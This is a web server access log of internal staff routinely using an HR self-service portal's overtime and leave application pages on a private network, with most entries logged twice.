192.168.11.228 - - [25/May/2023:09:01:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10081 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:01:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10081
192.168.11.228 - - [25/May/2023:09:02:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:02:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.228 - - [25/May/2023:09:02:18 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.07033397611209224 HTTP/1.1" 200 8728 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:02:18 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.07033397611209224 HTTP/1.1" 200 8728
192.168.11.228 - - [25/May/2023:09:02:23 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.07033397611209224 HTTP/1.1" 200 14146
192.168.11.228 - - [25/May/2023:09:02:23 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.07033397611209224 HTTP/1.1" 200 14146 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.07033397611209224" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:02:27 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065
192.168.11.228 - - [25/May/2023:09:02:27 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:02:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:02:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.228 - - [25/May/2023:09:02:51 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.34081645097000335 HTTP/1.1" 200 8728 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:02:51 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.34081645097000335 HTTP/1.1" 200 8728
192.168.11.228 - - [25/May/2023:09:02:55 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.34081645097000335 HTTP/1.1" 200 14146 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.34081645097000335" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:02:55 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.34081645097000335 HTTP/1.1" 200 14146
192.168.11.228 - - [25/May/2023:09:03:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:03:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065
192.168.11.228 - - [25/May/2023:09:03:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.228 - - [25/May/2023:09:03:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:03:20 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.48698532952988827 HTTP/1.1" 200 8728 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:03:20 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.48698532952988827 HTTP/1.1" 200 8728
192.168.11.228 - - [25/May/2023:09:03:23 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.48698532952988827 HTTP/1.1" 200 14146 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.48698532952988827" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:03:23 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.48698532952988827 HTTP/1.1" 200 14146
192.168.11.228 - - [25/May/2023:09:03:27 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4060 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:03:27 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4060
192.168.11.228 - - [25/May/2023:09:03:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:03:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.228 - - [25/May/2023:09:03:46 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8426868078974599 HTTP/1.1" 200 8728 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:03:46 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8426868078974599 HTTP/1.1" 200 8728
192.168.11.228 - - [25/May/2023:09:03:49 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8426868078974599 HTTP/1.1" 200 14146 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8426868078974599" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:03:49 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8426868078974599 HTTP/1.1" 200 14146
192.168.11.228 - - [25/May/2023:09:03:53 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4063 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:03:53 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4063
192.168.11.228 - - [25/May/2023:09:03:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:03:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.228 - - [25/May/2023:09:04:09 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.565171127202025 HTTP/1.1" 200 8728
192.168.11.228 - - [25/May/2023:09:04:09 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.565171127202025 HTTP/1.1" 200 8728 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:04:12 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.565171127202025 HTTP/1.1" 200 14146 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.565171127202025" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:04:12 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.565171127202025 HTTP/1.1" 200 14146
192.168.11.228 - - [25/May/2023:09:04:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4062 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:04:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4062
192.168.11.228 - - [25/May/2023:09:04:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7969 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:04:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7969
192.168.11.236 - - [25/May/2023:09:04:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22066 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:04:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22066
192.168.11.228 - - [25/May/2023:09:04:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 168243 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:04:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 168243
192.168.11.228 - - [25/May/2023:09:04:47 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11297 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:04:47 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11297
192.168.11.228 - - [25/May/2023:09:04:59 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 13312 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:04:59 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 13312
192.168.11.236 - - [25/May/2023:09:05:05 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6486007650704761 HTTP/1.1" 200 13392 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:05:05 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6486007650704761 HTTP/1.1" 200 13392
192.168.11.236 - - [25/May/2023:09:05:12 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6486007650704761 HTTP/1.1" 200 15577 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6486007650704761" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:05:12 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6486007650704761 HTTP/1.1" 200 15577
192.168.11.228 - - [25/May/2023:09:05:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 14318 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:05:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 14318
192.168.11.228 - - [25/May/2023:09:05:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:05:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 -
192.168.11.228 - - [25/May/2023:09:06:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139
192.168.11.228 - - [25/May/2023:09:06:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:06:02 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:06:02 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139
192.168.11.228 - - [25/May/2023:09:05:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 -
192.168.11.228 - - [25/May/2023:09:05:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:06:15 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:06:15 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 -
192.168.11.228 - - [25/May/2023:09:06:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7969
192.168.11.228 - - [25/May/2023:09:06:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7969 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:05:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:05:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 -
192.168.11.228 - - [25/May/2023:09:06:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7969
192.168.11.228 - - [25/May/2023:09:06:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7969 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:06:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 13121
192.168.11.236 - - [25/May/2023:09:06:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 13121 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.136 - - [25/May/2023:09:07:25 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:07:25 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.228 - - [25/May/2023:09:06:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:06:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 -
192.168.11.136 - - [25/May/2023:09:07:28 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
